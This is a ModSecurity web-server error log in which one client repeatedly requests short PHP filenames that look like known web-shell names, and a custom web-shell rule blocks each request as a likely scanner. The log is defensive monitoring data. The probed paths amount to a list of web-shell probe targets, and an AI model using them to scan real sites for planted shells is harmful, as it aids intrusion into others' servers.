[Sun Jan 04 22:15:45.546058 2026] [:error] [pid 48633:tid 48653] [client 4.241.234.12:15207] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aVp2EXpmEoQIuLH2aWhIOwAAAFI"]
[Sun Jan 04 22:15:46.117263 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:15179] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aVp2ElGr1mgeue1bWvTYQQAAAAQ"]
[Sun Jan 04 22:15:46.604281 2026] [:error] [pid 43583:tid 43601] [client 4.241.234.12:15221] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aVp2EuZbrSRUiJ-RX9ZCjgAAAUw"]
[Sun Jan 04 22:15:46.858279 2026] [:error] [pid 48667:tid 48697] [client 4.241.234.12:15527] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aVp2EnO6aihVIlrNAPj4RQAAAQA"]
[Sun Jan 04 22:15:47.125836 2026] [:error] [pid 45949:tid 45972] [client 4.241.234.12:15250] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wto.php"] [unique_id "aVp2E6WUhIYCdxgkhpBQIQAAAhI"]
[Sun Jan 04 22:15:47.435278 2026] [:error] [pid 43583:tid 43606] [client 4.241.234.12:15409] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wto.php"] [unique_id "aVp2E-ZbrSRUiJ-RX9ZCjwAAAVE"]
[Sun Jan 04 22:15:47.882908 2026] [:error] [pid 45863:tid 45888] [client 4.241.234.12:15177] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wto.php"] [unique_id "aVp2E1Gr1mgeue1bWvTYQwAAABc"]
[Sun Jan 04 22:15:48.463794 2026] [:error] [pid 48667:tid 48704] [client 4.241.234.12:15396] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wto.php"] [unique_id "aVp2FHO6aihVIlrNAPj4SwAAAQc"]
[Sun Jan 04 22:15:48.766796 2026] [:error] [pid 30985:tid 31018] [client 4.241.234.12:15382] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVp2FEisiM0XfzVcTWC0pAAAAcQ"]
[Sun Jan 04 22:15:49.161364 2026] [:error] [pid 48727:tid 48764] [client 4.241.234.12:15417] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVp2FfgJtUs-E_QT0ibaGQAAA0c"]
[Sun Jan 04 22:15:49.431200 2026] [:error] [pid 48727:tid 48769] [client 4.241.234.12:15176] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVp2FfgJtUs-E_QT0ibaGgAAA0w"]
[Sun Jan 04 22:15:49.720297 2026] [:error] [pid 30985:tid 31017] [client 4.241.234.12:15320] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVp2FUisiM0XfzVcTWC0pQAAAcM"]
[Sun Jan 04 22:15:50.172605 2026] [:error] [pid 30985:tid 31029] [client 4.241.234.12:15335] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tech5pr.php"] [unique_id "aVp2FkisiM0XfzVcTWC0pgAAAc8"]
[Sun Jan 04 22:15:50.508636 2026] [:error] [pid 43583:tid 43600] [client 4.241.234.12:15487] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tech5pr.php"] [unique_id "aVp2FuZbrSRUiJ-RX9ZCkAAAAUs"]
[Sun Jan 04 22:15:50.919754 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:15399] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tech5pr.php"] [unique_id "aVp2FvgJtUs-E_QT0ibaGwAAA0A"]
[Sun Jan 04 22:15:51.260391 2026] [:error] [pid 30985:tid 31038] [client 4.241.234.12:15218] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tech5pr.php"] [unique_id "aVp2F0isiM0XfzVcTWC0qAAAAdg"]
[Sun Jan 04 22:15:51.682635 2026] [:error] [pid 29351:tid 29387] [client 4.241.234.12:15353] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aVp2F5tGiMsRmNcKXvpHhgAAAsM"]
[Sun Jan 04 22:15:52.019765 2026] [:error] [pid 30985:tid 31036] [client 4.241.234.12:15264] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aVp2GEisiM0XfzVcTWC0qwAAAdY"]
[Sun Jan 04 22:15:52.378882 2026] [:error] [pid 48667:tid 48709] [client 4.241.234.12:15339] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aVp2GHO6aihVIlrNAPj4VgAAAQw"]
[Sun Jan 04 22:15:52.774647 2026] [:error] [pid 45949:tid 45977] [client 4.241.234.12:15461] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aVp2GKWUhIYCdxgkhpBQJQAAAhc"]
[Sun Jan 04 22:15:53.068793 2026] [:error] [pid 48633:tid 48646] [client 4.241.234.12:15243] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aVp2GXpmEoQIuLH2aWhIQQAAAEs"]
[Sun Jan 04 22:15:53.594722 2026] [:error] [pid 48633:tid 48645] [client 4.241.234.12:15267] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aVp2GXpmEoQIuLH2aWhIRAAAAEo"]
[Sun Jan 04 22:15:53.995969 2026] [:error] [pid 29351:tid 29398] [client 4.241.234.12:15412] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aVp2GZtGiMsRmNcKXvpHiQAAAs4"]
[Sun Jan 04 22:15:54.363169 2026] [:error] [pid 45949:tid 45964] [client 4.241.234.12:15236] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aVp2GqWUhIYCdxgkhpBQJgAAAgo"]
[Sun Jan 04 22:15:54.809498 2026] [:error] [pid 30985:tid 31026] [client 4.241.234.12:15303] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "aVp2GkisiM0XfzVcTWC0rgAAAcw"]
[Sun Jan 04 22:15:55.116945 2026] [:error] [pid 48633:tid 48655] [client 4.241.234.12:15233] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "aVp2G3pmEoQIuLH2aWhIRgAAAFQ"]
[Sun Jan 04 22:15:55.443331 2026] [:error] [pid 48667:tid 48710] [client 4.241.234.12:15291] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "aVp2G3O6aihVIlrNAPj4VwAAAQ0"]
[Sun Jan 04 22:15:55.868211 2026] [:error] [pid 45949:tid 45958] [client 4.241.234.12:15441] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "aVp2G6WUhIYCdxgkhpBQJwAAAgQ"]
[Sun Jan 04 22:15:56.388262 2026] [:error] [pid 45949:tid 45969] [client 4.241.234.12:15278] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aVp2HKWUhIYCdxgkhpBQKAAAAg8"]
[Sun Jan 04 22:15:56.779721 2026] [:error] [pid 45950:tid 45984] [client 4.241.234.12:15327] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aVp2HFx-3HUGZIlAI-5SDQAAA4I"]
[Sun Jan 04 22:15:57.162988 2026] [:error] [pid 48633:tid 48641] [client 4.241.234.12:15261] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aVp2HXpmEoQIuLH2aWhISAAAAEY"]
[Sun Jan 04 22:15:57.566285 2026] [:error] [pid 43583:tid 43610] [client 4.241.234.12:15240] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aVp2HeZbrSRUiJ-RX9ZClAAAAVU"]
[Sun Jan 04 22:15:57.834227 2026] [:error] [pid 45950:tid 45989] [client 4.241.234.12:15295] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aVp2HVx-3HUGZIlAI-5SEAAAA4c"]
[Sun Jan 04 22:15:58.271078 2026] [:error] [pid 43583:tid 43604] [client 4.241.234.12:15241] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aVp2HuZbrSRUiJ-RX9ZClQAAAU8"]
[Sun Jan 04 22:15:58.623243 2026] [:error] [pid 48667:tid 48704] [client 4.241.234.12:15292] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aVp2HnO6aihVIlrNAPj4WgAAAQc"]
[Sun Jan 04 22:15:59.033350 2026] [:error] [pid 48667:tid 48708] [client 4.241.234.12:15350] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aVp2H3O6aihVIlrNAPj4WwAAAQs"]
[Sun Jan 04 22:15:59.667316 2026] [:error] [pid 48667:tid 48719] [client 4.241.234.12:15188] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skk.php"] [unique_id "aVp2H3O6aihVIlrNAPj4XgAAARY"]
[Sun Jan 04 22:16:00.047691 2026] [:error] [pid 43583:tid 43593] [client 4.241.234.12:15197] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skk.php"] [unique_id "aVp2IOZbrSRUiJ-RX9ZClwAAAUQ"]
[Sun Jan 04 22:16:00.398945 2026] [:error] [pid 48667:tid 48711] [client 4.241.234.12:15310] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skk.php"] [unique_id "aVp2IHO6aihVIlrNAPj4YQAAAQ4"]
[Sun Jan 04 22:16:00.797727 2026] [:error] [pid 45949:tid 45965] [client 4.241.234.12:15213] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skk.php"] [unique_id "aVp2IKWUhIYCdxgkhpBQLAAAAgs"]
[Sun Jan 04 22:16:01.377673 2026] [:error] [pid 48667:tid 48699] [client 4.241.234.12:15244] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testas.php"] [unique_id "aVp2IXO6aihVIlrNAPj4ZAAAAQI"]
[Sun Jan 04 22:16:01.808469 2026] [:error] [pid 42666:tid 42711] [client 4.241.234.12:15272] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testas.php"] [unique_id "aVp2Ifc221c7vwWrOjcVcQAAAw4"]
[Sun Jan 04 22:16:02.222701 2026] [:error] [pid 48727:tid 48758] [client 4.241.234.12:15205] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testas.php"] [unique_id "aVp2IvgJtUs-E_QT0ibaHwAAA0E"]
[Sun Jan 04 22:16:02.519331 2026] [:error] [pid 48727:tid 48781] [client 4.241.234.12:15513] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testas.php"] [unique_id "aVp2IvgJtUs-E_QT0ibaIAAAA1g"]
[Sun Jan 04 22:16:02.947106 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15277] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ma1.php"] [unique_id "aVp2Ilx-3HUGZIlAI-5SEwAAA4s"]
[Sun Jan 04 22:16:03.249631 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15257] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ma1.php"] [unique_id "aVp2I-ZbrSRUiJ-RX9ZCnAAAAVg"]
[Sun Jan 04 22:16:03.579559 2026] [:error] [pid 48667:tid 48704] [client 4.241.234.12:15174] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ma1.php"] [unique_id "aVp2I3O6aihVIlrNAPj4bAAAAQc"]
[Sun Jan 04 22:16:03.970150 2026] [:error] [pid 48727:tid 48763] [client 4.241.234.12:15184] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ma1.php"] [unique_id "aVp2I_gJtUs-E_QT0ibaIgAAA0Y"]
[Sun Jan 04 22:16:04.341211 2026] [:error] [pid 48727:tid 48766] [client 4.241.234.12:15237] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/loi.php"] [unique_id "aVp2JPgJtUs-E_QT0ibaJAAAA0k"]
[Sun Jan 04 22:16:04.692496 2026] [:error] [pid 45863:tid 45882] [client 4.241.234.12:15248] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/loi.php"] [unique_id "aVp2JFGr1mgeue1bWvTYSQAAABE"]
[Sun Jan 04 22:16:04.987861 2026] [:error] [pid 48727:tid 48776] [client 4.241.234.12:15200] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/loi.php"] [unique_id "aVp2JPgJtUs-E_QT0ibaJwAAA1M"]
[Sun Jan 04 22:16:05.354093 2026] [:error] [pid 48727:tid 48765] [client 4.241.234.12:15183] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/loi.php"] [unique_id "aVp2JfgJtUs-E_QT0ibaKAAAA0g"]
[Sun Jan 04 22:16:05.756860 2026] [:error] [pid 42666:tid 42698] [client 4.241.234.12:15269] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "aVp2Jfc221c7vwWrOjcVdAAAAwE"]
[Sun Jan 04 22:16:06.070256 2026] [:error] [pid 48667:tid 48718] [client 4.241.234.12:14993] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "aVp2JnO6aihVIlrNAPj4bwAAARU"]
[Sun Jan 04 22:16:06.373119 2026] [:error] [pid 48667:tid 48721] [client 4.241.234.12:15332] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "aVp2JnO6aihVIlrNAPj4cAAAARg"]
[Sun Jan 04 22:16:06.755420 2026] [:error] [pid 48667:tid 48698] [client 4.241.234.12:15228] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "aVp2JnO6aihVIlrNAPj4cQAAAQE"]
